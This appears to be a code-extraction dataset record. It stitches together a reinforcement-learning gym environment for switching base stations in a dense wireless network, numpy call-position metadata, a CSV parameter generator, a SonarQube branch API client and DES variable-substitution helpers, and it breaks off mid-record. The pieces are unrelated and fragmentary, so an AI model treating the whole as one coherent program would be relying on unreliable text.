self.BSnum = len(self.BSposition[0])
self.InterferenceBSposition = np.loadtxt('InterferenceBSposition.csv', delimiter=',')
self.InterferenceBSnum = len(self.InterferenceBSposition[0])
self.Area = 10 ** 2
self.usernum = 32
self.BSstate = np.ones(self.BSnum, dtype = bool)
self.InterferenceBSstate = np.random.randint(2, size = self.InterferenceBSnum)
self.user_Xposition = np.random.uniform(0,self.Area,self.usernum)
self.user_Yposition = np.random.uniform(0,self.Area,self.usernum)
self.action_space = spaces.Discrete(2**self.BSnum)
self.movedistance = None
self.state = np.r_[self.user_Xposition,self.user_Yposition,self.Hexchange(self.InterferenceBSstate)]
self.bandwidth = 10**7
self.threshold = 120 * 10 ** 6 #bit/s
def step(self, action):
#
#return state action pair reward
self.take_action(action)
Datarate_weightvalue = 1
Energyconsumption_weightvalue = 2
signal = self.BS_User_S() * 2
Interference = self.Interference_User_I()
#SIR = signal / Interference
SIR = signal - Interference
#Datarate = self.bandwidth * np.log2(1+SIR)
Datarate = self.bandwidth * np.log2(1+10**(SIR/10))
#coverage_prob = np.sum(Datarate > self.threshold) / self.usernum
#print(coverage_prob)
Energyconsumption = np.sum(self.BSstate.astype(float))
if Energyconsumption == 0:
reward = -100
is_done = True
else:
reward = Datarate_weightvalue * np.mean(Datarate) / (10 ** 6) - (Energyconsumption_weightvalue * Energyconsumption)
#reward = 1.0
is_done =False
#if coverage_prob < 0.7:
#reward = -10
#is_done = True
#else:
#is_done = False
#reward = Datarate_weightvalue * np.sum(Datarate) / (10 ** 6) - (Energyconsumption_weightvalue * Energyconsumption)
#is_done = False
info = self.BSstate.astype(float)
self.InterferenceBSstate = np.random.randint(2, size = self.InterferenceBSnum)
self.state[2 * self.usernum] = self.Hexchange(self.InterferenceBSstate)
return self.state, reward, is_done, info#for visualizing
def reset(self):
self.BSstate = np.ones(self.BSnum,dtype = bool)
self.user_Xposition = np.random.uniform(0,self.Area,self.usernum)
self.user_Yposition = np.random.uniform(0,self.Area,self.usernum)
self.InterferenceBSstate = np.random.randint(2, size = self.InterferenceBSnum)
self.state = np.r_[self.user_Xposition,self.user_Yposition,self.Hexchange(self.InterferenceBSstate)]
return self.state
def take_action(self, action):
#do action for change state
self.BSstate = self.Binarychange(action,self.BSnum)
self.movedistance = self.usermovedistance()
for j in range(2*self.usernum):
self.state[j] = self.state[j] + self.movedistance[j]
if self.state[j] > self.Area:
self.state[j] = self.state[j] - self.Area
if self.state[j] < 0:
self.state[j] = self.state[j] + self.Area
def Binarychange(self,num,tnum):
#hex number to binary matrix
hnum = num
bmatrix = np.zeros(tnum)
index = 0
while True:
if index == tnum:
break
else:
bmatrix[index] = hnum % 2
hnum = hnum // 2
index += 1
bmatrix = bmatrix.astype(bool)
return bmatrix
def Hexchange(self,mat):
#binary matrix to hex number
size = len(mat)
hxnum = 0
for i in range(size):
hxnum += mat[i] * 2 ** (size - i - 1)
return hxnum
def usermovedistance(self):
#human walking speed 1.3m/s = 4.68km/h
theta = np.random.uniform(0,2*np.pi,self.usernum) #random angle for each user
d = np.random.uniform(0,1.3,self.usernum)#random distance for each user
sin = np.sin(theta)
cos = np.cos(theta)
x_dis = d*cos
y_dis = d*sin
state_dis = np.r_[x_dis,y_dis] #form for state
return state_dis
def BS_User_S(self):
#calculate Signal power consist path loss for each user
#return 1 by usernum matrix include signal power for each user
BS_User_position = np.zeros((2,self.usernum,self.BSnum))
BS_User_distance = np.zeros((self.usernum,self.BSnum),dtype = float)
user_signal_power = np.zeros(self.usernum,dtype = float)
# axis x = 0, axis y = 1
for i in range(self.usernum):
for j in range(self.BSnum):
BS_User_position[0][i][j] = self.state[i] - self.BSposition[0][j]
BS_User_position[1][i][j] = self.state[self.usernum + i] - self.BSposition[1][j]
BS_User_distance = np.linalg.norm(BS_User_position, ord = 2, axis = 0)
for i in range(self.BSnum):
if self.BSstate[i]:
pass
else:
BS_User_distance[:,i] = np.inf
#BS_User_distance = BS_User_distance[:,self.BSstate]
assosiation_matrix = self.assosiation(BS_User_distance)
#user_signal_power = np.power(BS_User_distance[assosiation_matrix],-2)
user_signal_power = 10 * 4 * np.log10(BS_User_distance[assosiation_matrix]) + 20 * np.log10(3.5 * 10 ** 9) - 147.55
return user_signal_power
def Interference_User_I(self):
#calculate Interference power consist path loss for each user
#return 1 by usernum matrix include interference power for each user
InterferenceBS_User_position = np.zeros((2,self.usernum,self.InterferenceBSnum))
InterferenceBS_User_distance = np.zeros((self.usernum,self.BSnum), dtype = float)
InterferenceBSstate_bool = self.InterferenceBSstate.astype(bool)
user_interference_power = np.zeros(self.usernum,dtype = float)
user_interference_path_loss = np.zeros(self.usernum,dtype = float)
#axis x = 0, axis y = 1
for i in range(self.usernum):
for j in range(self.InterferenceBSnum):
InterferenceBS_User_position[0][i][j] = self.state[i] - self.InterferenceBSposition[0][j]
InterferenceBS_User_position[1][i][j] = self.state[self.usernum + i] - self.InterferenceBSposition[1][j]
Interference_User_distance = np.linalg.norm(InterferenceBS_User_position, ord = 2, axis = 0)
if np.sum(self.InterferenceBSstate) == 0:
#user_interference_path_loss = np.power(np.mean(Interference_User_distance,axis = 1),-2)
user_interference_path_loss = 10 * 4 * np.log10(np.mean(Interference_User_distance,axis = 1)) + 20 * np.log10(3.5 * 10 ** 9) - 147.55
else:
Interference_User_distance = Interference_User_distance[:,InterferenceBSstate_bool]
inter_bandwidth_num = self.InterferenceBSposition[2,InterferenceBSstate_bool]
for i in range(self.usernum):
for j in range(len(inter_bandwidth_num)):
if inter_bandwidth_num[j] == self.user_BS_shortest[i]:
user_interference_power[i] = user_interference_power[i] + Interference_User_distance[i,j]
for i in range(self.usernum):
if user_interference_power[i] == 0:
user_interference_power[i] = np.mean(Interference_User_distance[i])
#user_interference_path_loss = np.power(user_interference_power,-2)
user_interference_path_loss = 10 * 4 * np.log10(user_interference_power) + 20 * np.log10(3.5 * 10 ** 9) - 147.55
return user_interference_path_loss
def assosiation(self, distance):
#calculate user-BS assosiation follow shortest distance assosiation rule
#return usernum by BSnum matrix dtype boolean
BS_user_assosiation = np.zeros((self.usernum,self.BSnum),dtype = bool)
#BS_user_assosiation = BS_user_assosiation[:,self.BSstate]
self.user_BS_shortest = np.argmin(distance,axis = 1)
for i in range(self.usernum):
BS_user_assosiation[i][self.user_BS_shortest[i]] = True
#print(BS_user_assosiation)
return BS_user_assosiation
'''
if __name__ == "__main__":
env = UDNEnv()
env.reset()
action = 255
_, R, _, I = env.step(action)
print(R)
print(I)
''' | [
"numpy.mean",
"numpy.log10",
"numpy.ones",
"numpy.log2",
"numpy.linalg.norm",
"gym.spaces.Discrete",
"numpy.sum",
"numpy.random.randint",
"numpy.zeros",
"numpy.cos",
"numpy.argmin",
"numpy.random.uniform",
"numpy.sin",
"numpy.loadtxt"
] | [((242, 285), 'numpy.loadtxt', 'np.loadtxt', (['"""BSposition.csv"""'], {'delimiter': '""","""'}), "('BSposition.csv', delimiter=',')\n", (252, 285), True, 'import numpy as np\n'), ((369, 424), 'numpy.loadtxt', 'np.loadtxt', (['"""InterferenceBSposition.csv"""'], {'delimiter': '""","""'}), "('InterferenceBSposition.csv', delimiter=',')\n", (379, 424), True, 'import numpy as np\n'), ((571, 602), 'numpy.ones', 'np.ones', (['self.BSnum'], {'dtype': 'bool'}), '(self.BSnum, dtype=bool)\n', (578, 602), True, 'import numpy as np\n'), ((640, 689), 'numpy.random.randint', 'np.random.randint', (['(2)'], {'size': 'self.InterferenceBSnum'}), '(2, size=self.InterferenceBSnum)\n', (657, 689), True, 'import numpy as np\n'), ((722, 767), 'numpy.random.uniform', 'np.random.uniform', (['(0)', 'self.Area', 'self.usernum'], {}), '(0, self.Area, self.usernum)\n', (739, 767), True, 'import numpy as np\n'), ((796, 841), 'numpy.random.uniform', 'np.random.uniform', (['(0)', 'self.Area', 'self.usernum'], {}), '(0, self.Area, self.usernum)\n', (813, 841), True, 'import numpy as np\n'), ((868, 900), 'gym.spaces.Discrete', 'spaces.Discrete', (['(2 ** self.BSnum)'], {}), '(2 ** self.BSnum)\n', (883, 900), False, 'from gym import error, spaces, utils\n'), ((2421, 2470), 'numpy.random.randint', 'np.random.randint', (['(2)'], {'size': 'self.InterferenceBSnum'}), '(2, size=self.InterferenceBSnum)\n', (2438, 2470), True, 'import numpy as np\n'), ((2667, 2698), 'numpy.ones', 'np.ones', (['self.BSnum'], {'dtype': 'bool'}), '(self.BSnum, dtype=bool)\n', (2674, 2698), True, 'import numpy as np\n'), ((2730, 2775), 'numpy.random.uniform', 'np.random.uniform', (['(0)', 'self.Area', 'self.usernum'], {}), '(0, self.Area, self.usernum)\n', (2747, 2775), True, 'import numpy as np\n'), ((2804, 2849), 'numpy.random.uniform', 'np.random.uniform', (['(0)', 'self.Area', 'self.usernum'], {}), '(0, self.Area, self.usernum)\n', (2821, 2849), True, 'import numpy as np\n'), ((2883, 2932), 'numpy.random.randint', 'np.random.randint', (['(2)'], {'size': 'self.InterferenceBSnum'}), '(2, size=self.InterferenceBSnum)\n', (2900, 2932), True, 'import numpy as np\n'), ((3711, 3725), 'numpy.zeros', 'np.zeros', (['tnum'], {}), '(tnum)\n', (3719, 3725), True, 'import numpy as np\n'), ((4308, 4353), 'numpy.random.uniform', 'np.random.uniform', (['(0)', '(2 * np.pi)', 'self.usernum'], {}), '(0, 2 * np.pi, self.usernum)\n', (4325, 4353), True, 'import numpy as np\n'), ((4390, 4429), 'numpy.random.uniform', 'np.random.uniform', (['(0)', '(1.3)', 'self.usernum'], {}), '(0, 1.3, self.usernum)\n', (4407, 4429), True, 'import numpy as np\n'), ((4472, 4485), 'numpy.sin', 'np.sin', (['theta'], {}), '(theta)\n', (4478, 4485), True, 'import numpy as np\n'), ((4500, 4513), 'numpy.cos', 'np.cos', (['theta'], {}), '(theta)\n', (4506, 4513), True, 'import numpy as np\n'), ((4830, 4869), 'numpy.zeros', 'np.zeros', (['(2, self.usernum, self.BSnum)'], {}), '((2, self.usernum, self.BSnum))\n', (4838, 4869), True, 'import numpy as np\n'), ((4895, 4944), 'numpy.zeros', 'np.zeros', (['(self.usernum, self.BSnum)'], {'dtype': 'float'}), '((self.usernum, self.BSnum), dtype=float)\n', (4903, 4944), True, 'import numpy as np\n'), ((4973, 5008), 'numpy.zeros', 'np.zeros', (['self.usernum'], {'dtype': 'float'}), '(self.usernum, dtype=float)\n', (4981, 5008), True, 'import numpy as np\n'), ((5327, 5374), 'numpy.linalg.norm', 'np.linalg.norm', (['BS_User_position'], {'ord': '(2)', 'axis': '(0)'}), '(BS_User_position, ord=2, axis=0)\n', (5341, 5374), True, 'import numpy as np\n'), ((6120, 6171), 'numpy.zeros', 'np.zeros', (['(2, self.usernum, self.InterferenceBSnum)'], {}), '((2, self.usernum, self.InterferenceBSnum))\n', (6128, 6171), True, 'import numpy as np\n'), ((6209, 6258), 'numpy.zeros', 'np.zeros', (['(self.usernum, self.BSnum)'], {'dtype': 'float'}), '((self.usernum, self.BSnum), dtype=float)\n', (6217, 6258), True, 'import numpy as np\n'), ((6367, 6402), 'numpy.zeros', 'np.zeros', (['self.usernum'], {'dtype': 'float'}), '(self.usernum, dtype=float)\n', (6375, 6402), True, 'import numpy as np\n'), ((6442, 6477), 'numpy.zeros', 'np.zeros', (['self.usernum'], {'dtype': 'float'}), '(self.usernum, dtype=float)\n', (6450, 6477), True, 'import numpy as np\n'), ((6866, 6925), 'numpy.linalg.norm', 'np.linalg.norm', (['InterferenceBS_User_position'], {'ord': '(2)', 'axis': '(0)'}), '(InterferenceBS_User_position, ord=2, axis=0)\n', (6880, 6925), True, 'import numpy as np\n'), ((8360, 8408), 'numpy.zeros', 'np.zeros', (['(self.usernum, self.BSnum)'], {'dtype': 'bool'}), '((self.usernum, self.BSnum), dtype=bool)\n', (8368, 8408), True, 'import numpy as np\n'), ((8508, 8535), 'numpy.argmin', 'np.argmin', (['distance'], {'axis': '(1)'}), '(distance, axis=1)\n', (8517, 8535), True, 'import numpy as np\n'), ((1589, 1618), 'numpy.log2', 'np.log2', (['(1 + 10 ** (SIR / 10))'], {}), '(1 + 10 ** (SIR / 10))\n', (1596, 1618), True, 'import numpy as np\n'), ((6942, 6974), 'numpy.sum', 'np.sum', (['self.InterferenceBSstate'], {}), '(self.InterferenceBSstate)\n', (6948, 6974), True, 'import numpy as np\n'), ((5774, 5820), 'numpy.log10', 'np.log10', (['BS_User_distance[assosiation_matrix]'], {}), '(BS_User_distance[assosiation_matrix])\n', (5782, 5820), True, 'import numpy as np\n'), ((5828, 5851), 'numpy.log10', 'np.log10', (['(3.5 * 10 ** 9)'], {}), '(3.5 * 10 ** 9)\n', (5836, 5851), True, 'import numpy as np\n'), ((7863, 7901), 'numpy.mean', 'np.mean', (['Interference_User_distance[i]'], {}), '(Interference_User_distance[i])\n', (7870, 7901), True, 'import numpy as np\n'), ((1927, 1944), 'numpy.mean', 'np.mean', (['Datarate'], {}), '(Datarate)\n', (1934, 1944), True, 'import numpy as np\n'), ((7196, 7219), 'numpy.log10', 'np.log10', (['(3.5 * 10 ** 9)'], {}), '(3.5 * 10 ** 9)\n', (7204, 7219), True, 'import numpy as np\n'), ((8035, 8068), 'numpy.log10', 'np.log10', (['user_interference_power'], {}), '(user_interference_power)\n', (8043, 8068), True, 'import numpy as np\n'), ((8076, 8099), 'numpy.log10', 'np.log10', (['(3.5 * 10 ** 9)'], {}), '(3.5 * 10 ** 9)\n', (8084, 8099), True, 'import numpy as np\n'), ((7143, 7186), 'numpy.mean', 'np.mean', (['Interference_User_distance'], {'axis': '(1)'}), '(Interference_User_distance, axis=1)\n', (7150, 7186), True, 'import numpy as np\n')] |
import csv
from .ParamGenerator import ParamGenerator
class CSVParamGenerator(ParamGenerator):
def __init__(self):
self.source = []
self.count = 0
def set_source(self, source):
try:
with open(source, newline='') as f:
reader = csv.reader(f)
self.source = list(reader)
if self.source:
return True
else:
return "Invalid Input"
except:
return "Invalid Input"
def get_param(self):
if len(self.source) == 0 or self.source[self.count % len(self.source)] is None:
return "No Input"
param = float(self.source[self.count % len(self.source)][0])
self.count += 1
return param
| [
"csv.reader"
] | [((291, 304), 'csv.reader', 'csv.reader', (['f'], {}), '(f)\n', (301, 304), False, 'import csv\n')] |
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# @Author: <NAME>
from sonarqube.utils.rest_client import RestClient
from sonarqube.utils.config import (
API_PROJECT_BRANCHES_LIST_ENDPOINT,
API_PROJECT_BRANCHES_DELETE_ENDPOINT,
API_PROJECT_BRANCHES_RENAME_ENDPOINT,
API_PROJECT_BRANCHES_SET_PROTECTION_ENDPOINT,
)
from sonarqube.utils.common import GET, POST
class SonarQubeProjectBranches(RestClient):
"""
SonarQube project branches Operations
"""
def __init__(self, **kwargs):
"""
:param kwargs:
"""
super(SonarQubeProjectBranches, self).__init__(**kwargs)
@GET(API_PROJECT_BRANCHES_LIST_ENDPOINT)
def search_project_branches(self, project):
"""
SINCE 6.6
List the branches of a project.
:param project: Project key
:return:
"""
@POST(API_PROJECT_BRANCHES_DELETE_ENDPOINT)
def delete_project_branch(self, project, branch):
"""
SINCE 6.6
Delete a non-main branch of a project.
:param project: Project key
:param branch: Name of the branch
:return:
"""
@POST(API_PROJECT_BRANCHES_RENAME_ENDPOINT)
def rename_project_branch(self, project, name):
"""
SINCE 6.6
Rename the main branch of a project
:param project: Project key
:param name: New name of the main branch
:return:
"""
@POST(API_PROJECT_BRANCHES_SET_PROTECTION_ENDPOINT)
def set_automatic_deletion_protection_for_project_branch(self, project, branch, value):
"""
SINCE 8.1
Protect a specific branch from automatic deletion. Protection can't be disabled for the main branch.
:param project: Project key
:param branch: Branch key
:param value: Sets whether the branch should be protected from automatic deletion
when it hasn't been analyzed for a set period of time. Possible values are for: true or false, yes or no.
:return:
""" | [
"sonarqube.utils.common.POST",
"sonarqube.utils.common.GET"
] | [((630, 669), 'sonarqube.utils.common.GET', 'GET', (['API_PROJECT_BRANCHES_LIST_ENDPOINT'], {}), '(API_PROJECT_BRANCHES_LIST_ENDPOINT)\n', (633, 669), False, 'from sonarqube.utils.common import GET, POST\n'), ((860, 902), 'sonarqube.utils.common.POST', 'POST', (['API_PROJECT_BRANCHES_DELETE_ENDPOINT'], {}), '(API_PROJECT_BRANCHES_DELETE_ENDPOINT)\n', (864, 902), False, 'from sonarqube.utils.common import GET, POST\n'), ((1148, 1190), 'sonarqube.utils.common.POST', 'POST', (['API_PROJECT_BRANCHES_RENAME_ENDPOINT'], {}), '(API_PROJECT_BRANCHES_RENAME_ENDPOINT)\n', (1152, 1190), False, 'from sonarqube.utils.common import GET, POST\n'), ((1438, 1488), 'sonarqube.utils.common.POST', 'POST', (['API_PROJECT_BRANCHES_SET_PROTECTION_ENDPOINT'], {}), '(API_PROJECT_BRANCHES_SET_PROTECTION_ENDPOINT)\n', (1442, 1488), False, 'from sonarqube.utils.common import GET, POST\n')] |
#!/usr/bin/env python
"""Functions to replace variables in a string with their values from a dict.
"""
import copy
import re
from astropy.io import fits
import despymisc.miscutils as miscutils
import intgutils.intgdefs as intgdefs
import despyfitsutils.fitsutils as fitsutils
def replace_vars_single(instr, valdict, opts=None):
"""Return single instr after replacing vars.
"""
assert(isinstance(instr, str))
#assert(isinstance(valdict, dict))
values, keeps = replace_vars(instr, valdict, opts)
retval = None
if isinstance(values, list):
if len(values) == 1:
retval = values[0]
else:
miscutils.fwdebug_print("Error: Multiple results when calling replace_vars_single")
miscutils.fwdebug_print("\tinstr = %s" % instr)
miscutils.fwdebug_print("\tvalues = %s" % values)
raise KeyError("Error: Single search failed (%s)" % instr)
else:
retval = values
return retval
def replace_vars_type(instr, valdict, required, stype, opts=None):
"""Search given string for variables of 1 type and replace.
"""
assert(isinstance(instr, str))
#assert(isinstance(valdict, dict))
keep = {}
done = True
maxtries = 100 # avoid infinite loop
count = 0
newstr = copy.copy(instr)
# be careful of nested variables ${RMS_${BAND}}
varpat = r"(?i)\$%s\{([^$}]+)\}" % stype
match_var = re.search(varpat, newstr)
while match_var and count < maxtries:
count += 1
# the string inside the curly braces
var = match_var.group(1)
# may be var:#
parts = var.split(':')
# variable name to replace
newvar = parts[0]
if miscutils.fwdebug_check(6, 'REPL_DEBUG'):
miscutils.fwdebug_print("\t newstr: %s " % (newstr))
miscutils.fwdebug_print("\t var: %s " % (var))
miscutils.fwdebug_print("\t parts: %s " % (parts))
miscutils.fwdebug_print("\t newvar: %s " % (newvar))
# find the variable's value
if stype == 'HEAD':
if miscutils.fwdebug_check(0, 'REPL_DEBUG'):
miscutils.fwdebug_print("\tfound HEAD variable to expand: %s " % (newvar))
varlist = miscutils.fwsplit(newvar, ',')
fname = varlist[0]
if miscutils.fwdebug_check(0, 'REPL_DEBUG'):
miscutils.fwdebug_print("\tHEAD variable fname: %s " % (fname))
hdulist = fits.open(fname, 'readonly')
newval = []
for key in varlist[1:]:
if miscutils.fwdebug_check(0, 'REPL_DEBUG'):
miscutils.fwdebug_print("\tHEAD variable header key: %s " % (key))
newval.append(str(fitsutils.get_hdr_value(hdulist, key)))
miscutils.fwdebug_print("\tnewval: %s " % (newval))
newval = ','.join(newval)
haskey = True
hdulist.close()
elif stype == 'FUNC':
if miscutils.fwdebug_check(0, 'REPL_DEBUG'):
miscutils.fwdebug_print("\tfound FUNC variable to expand: %s " % (newvar))
varlist = miscutils.fwsplit(newvar, ',')
funcinfo = varlist[0]
if miscutils.fwdebug_check(0, 'REPL_DEBUG'):
miscutils.fwdebug_print("\tFUNC info: %s " % (funcinfo))
specf = miscutils.dynamically_load_class(funcinfo)
newval = specf(varlist[1:])
haskey = True
elif hasattr(valdict, 'search'):
(haskey, newval) = valdict.search(newvar, opts)
else:
haskey = False
if newvar in valdict:
haskey = True
newval = valdict[newvar]
if miscutils.fwdebug_check(6, 'REPL_DEBUG'):
miscutils.fwdebug_print("\t newvar: %s " % (newvar))
miscutils.fwdebug_print("\t haskey: %s " % (haskey))
miscutils.fwdebug_print("\t newval: %s " % (newval))
if haskey:
newval = str(newval)
# check if a multiple value variable (e.g., band, ccdnum)
if newval.startswith('(') or ',' in newval:
if miscutils.fwdebug_check(6, 'REPL_DEBUG'):
miscutils.fwdebug_print("\tfound val to expand: %s " % (newval))
miscutils.fwdebug_print("\tfound val to expand: opts=%s " % (opts))
if opts is not None and 'expand' in opts and opts['expand']:
newval = '$LOOP{%s}' % var # postpone for later expanding
if miscutils.fwdebug_check(6, 'REPL_DEBUG'):
miscutils.fwdebug_print("\tLOOP? newval = %s" % newval)
elif len(parts) > 1:
prpat = "%%0%dd" % int(parts[1])
try:
keepval = replace_vars_single(newval, valdict, opts)
keep[newvar] = keepval
newval = prpat % int(keepval)
except (TypeError, ValueError) as err:
miscutils.fwdebug_print("\tError = %s" % str(err))
miscutils.fwdebug_print("\tprpat = %s" % prpat)
miscutils.fwdebug_print("\tnewval = %s" % newval)
miscutils.fwdebug_print("\topts = %s" % opts)
raise err
else:
keep[newvar] = newval
newstr = re.sub(r"(?i)\$%s{%s}" % (stype, var), newval, newstr)
done = False
elif required:
raise KeyError("Error: Could not find value for %s" % newvar)
else:
# missing optional value so replace with empty string
newstr = re.sub(r"(?i)\$%s{%s}" % (stype, var), "", newstr)
match_var = re.search(varpat, newstr)
return (done, newstr, keep)
def replace_vars_loop(valpair, valdict, opts=None):
"""Expand variables that have multiple values (e.g., band, ccdnum).
"""
#assert(isinstance(valdict, dict))
looptodo = [valpair]
valuedone = []
keepdone = []
maxtries = 100 # avoid infinite loop
count = 0
while len(looptodo) > 0 and count < maxtries:
count += 1
valpair = looptodo.pop()
if miscutils.fwdebug_check(3, 'REPL_DEBUG'):
miscutils.fwdebug_print("looptodo: valpair[0] = %s" % valpair[0])
match_loop = re.search(r"(?i)\$LOOP\{([^}]+)\}", valpair[0])
var = match_loop.group(1)
parts = var.split(':')
newvar = parts[0]
if miscutils.fwdebug_check(6, 'REPL_DEBUG'):
miscutils.fwdebug_print("\tloop search: newvar= %s" % newvar)
miscutils.fwdebug_print("\tloop search: opts= %s" % opts)
(haskey, newval,) = valdict.search(newvar, opts)
if haskey:
if miscutils.fwdebug_check(6, 'REPL_DEBUG'):
miscutils.fwdebug_print("\tloop search results: newva1= %s" % newval)
newvalarr = miscutils.fwsplit(newval)
for nval in newvalarr:
if miscutils.fwdebug_check(6, 'REPL_DEBUG'):
miscutils.fwdebug_print("\tloop nv: nval=%s" % nval)
kval = nval # save unpadded value for keep
if len(parts) > 1:
try:
prpat = "%%0%dd" % int(parts[1])
nval = prpat % int(nval)
except (TypeError, ValueError) as err:
miscutils.fwdebug_print("\tError = %s" % str(err))
miscutils.fwdebug_print("\tprpat = %s" % prpat)
miscutils.fwdebug_print("\tnval = %s" % nval)
miscutils.fwdebug_print("\topts = %s" % opts)
raise err
if miscutils.fwdebug_check(6, 'REPL_DEBUG'):
miscutils.fwdebug_print("\tloop nv2: nval=%s" % nval)
miscutils.fwdebug_print("\tbefore loop sub: valpair[0]=%s" % valpair[0])
valsub = re.sub(r"(?i)\$LOOP\{%s\}" % var, nval, valpair[0])
keep = copy.deepcopy(valpair[1])
keep[newvar] = kval
if miscutils.fwdebug_check(6, 'REPL_DEBUG'):
miscutils.fwdebug_print("\tafter loop sub: valsub=%s" % valsub)
if '$LOOP{' in valsub:
if miscutils.fwdebug_check(6, 'REPL_DEBUG'):
miscutils.fwdebug_print("\t\tputting back in todo list")
looptodo.append((valsub, keep))
else:
valuedone.append(valsub)
keepdone.append(keep)
if miscutils.fwdebug_check(6, 'REPL_DEBUG'):
miscutils.fwdebug_print("\t\tputting back in done list")
if miscutils.fwdebug_check(6, 'REPL_DEBUG'):
miscutils.fwdebug_print("\tNumber in todo list = %s" % len(looptodo))
miscutils.fwdebug_print("\tNumber in done list = %s" % len(valuedone))
if miscutils.fwdebug_check(6, 'REPL_DEBUG'):
miscutils.fwdebug_print("\tEND OF WHILE LOOP = %s" % len(valuedone))
return valuedone, keepdone
def replace_vars(instr, valdict, opts=None):
"""Replace variables in given instr.
"""
assert(isinstance(instr, str))
#assert(isinstance(valdict, dict))
newstr = copy.copy(instr)
if miscutils.fwdebug_check(6, 'REPL_DEBUG'):
miscutils.fwdebug_print("BEG")
miscutils.fwdebug_print("\tinitial instr = '%s'" % instr)
#miscutils.fwdebug_print("\tvaldict = '%s'" % valdict)
miscutils.fwdebug_print("\tinitial opts = '%s'" % opts)
keep = {}
maxtries = 100 # avoid infinite loop
count = 0
done = False
while not done and count < maxtries:
count += 1
done = True
# header vars ($HEAD{)
(done2, newstr, keep2) = replace_vars_type(newstr, valdict, True, 'HEAD', opts)
done = done and done2
keep.update(keep2)
# optional vars ($opt{)
(done2, newstr, keep2) = replace_vars_type(newstr, valdict, False, 'opt', opts)
done = done and done2
keep.update(keep2)
# required vars (${)
(done2, newstr, keep2) = replace_vars_type(newstr, valdict, True, '', opts)
done = done and done2
keep.update(keep2)
#print "keep = ", keep
if count >= maxtries:
raise Exception("Error: replace_vars function aborting from infinite loop '%s'" % instr)
##### FUNC
maxtries = 100 # avoid infinite loop
count = 0
done = False
while not done and count < maxtries:
count += 1
done = True
# func vars ($FUNC{)
(done2, newstr, keep2) = replace_vars_type(newstr, valdict, True, 'FUNC', opts)
done = done and done2
keep.update(keep2)
#print "keep = ", keep
if count >= maxtries:
raise Exception("Error: replace_vars function aborting from infinite loop '%s'" % instr)
#####
valpair = (newstr, keep)
valuedone = []
keepdone = []
if '$LOOP' in newstr:
if opts is not None:
opts['required'] = True
else:
opts = {'required': True, intgdefs.REPLACE_VARS: False}
valuedone, keepdone = replace_vars_loop(valpair, valdict, opts)
if miscutils.fwdebug_check(6, 'REPL_DEBUG'):
miscutils.fwdebug_print("\tvaluedone = %s" % valuedone)
miscutils.fwdebug_print("\tkeepdone = %s" % keepdone)
miscutils.fwdebug_print("\tvaluepair = %s" % str(valpair))
miscutils.fwdebug_print("\tinstr = %s" % instr)
val2return = None
if len(valuedone) >= 1:
val2return = valuedone, keepdone
else:
val2return = valpair
if miscutils.fwdebug_check(6, 'REPL_DEBUG'):
miscutils.fwdebug_print("\tval2return = %s" % str(val2return))
if miscutils.fwdebug_check(5, 'REPL_DEBUG'):
miscutils.fwdebug_print("END")
return val2return
| [
"despymisc.miscutils.fwdebug_print",
"despymisc.miscutils.fwdebug_check",
"despymisc.miscutils.dynamically_load_class",
"copy.deepcopy",
"despymisc.miscutils.fwsplit",
"astropy.io.fits.open",
"despyfitsutils.fitsutils.get_hdr_value",
"re.sub",
"copy.copy",
"re.search"
] | [((1307, 1323), 'copy.copy', 'copy.copy', (['instr'], {}), '(instr)\n', (1316, 1323), False, 'import copy\n'), ((1440, 1465), 're.search', 're.search', (['varpat', 'newstr'], {}), '(varpat, newstr)\n', (1449, 1465), False, 'import re\n'), ((8993, 9033), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(6)', '"""REPL_DEBUG"""'], {}), "(6, 'REPL_DEBUG')\n", (9016, 9033), True, 'import despymisc.miscutils as miscutils\n'), ((9328, 9344), 'copy.copy', 'copy.copy', (['instr'], {}), '(instr)\n', (9337, 9344), False, 'import copy\n'), ((9353, 9393), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(6)', '"""REPL_DEBUG"""'], {}), "(6, 'REPL_DEBUG')\n", (9376, 9393), True, 'import despymisc.miscutils as miscutils\n'), ((11304, 11344), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(6)', '"""REPL_DEBUG"""'], {}), "(6, 'REPL_DEBUG')\n", (11327, 11344), True, 'import despymisc.miscutils as miscutils\n'), ((11734, 11774), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(6)', '"""REPL_DEBUG"""'], {}), "(6, 'REPL_DEBUG')\n", (11757, 11774), True, 'import despymisc.miscutils as miscutils\n'), ((11854, 11894), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(5)', '"""REPL_DEBUG"""'], {}), "(5, 'REPL_DEBUG')\n", (11877, 11894), True, 'import despymisc.miscutils as miscutils\n'), ((1735, 1775), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(6)', '"""REPL_DEBUG"""'], {}), "(6, 'REPL_DEBUG')\n", (1758, 1775), True, 'import despymisc.miscutils as miscutils\n'), ((3738, 3778), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(6)', '"""REPL_DEBUG"""'], {}), "(6, 'REPL_DEBUG')\n", (3761, 3778), True, 'import despymisc.miscutils as miscutils\n'), ((5742, 5767), 're.search', 're.search', (['varpat', 'newstr'], {}), '(varpat, newstr)\n', (5751, 5767), False, 'import re\n'), ((6209, 6249), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(3)', '"""REPL_DEBUG"""'], {}), "(3, 'REPL_DEBUG')\n", (6232, 6249), True, 'import despymisc.miscutils as miscutils\n'), ((6351, 6400), 're.search', 're.search', (['"""(?i)\\\\$LOOP\\\\{([^}]+)\\\\}"""', 'valpair[0]'], {}), "('(?i)\\\\$LOOP\\\\{([^}]+)\\\\}', valpair[0])\n", (6360, 6400), False, 'import re\n'), ((6503, 6543), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(6)', '"""REPL_DEBUG"""'], {}), "(6, 'REPL_DEBUG')\n", (6526, 6543), True, 'import despymisc.miscutils as miscutils\n'), ((8779, 8819), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(6)', '"""REPL_DEBUG"""'], {}), "(6, 'REPL_DEBUG')\n", (8802, 8819), True, 'import despymisc.miscutils as miscutils\n'), ((9403, 9433), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (['"""BEG"""'], {}), "('BEG')\n", (9426, 9433), True, 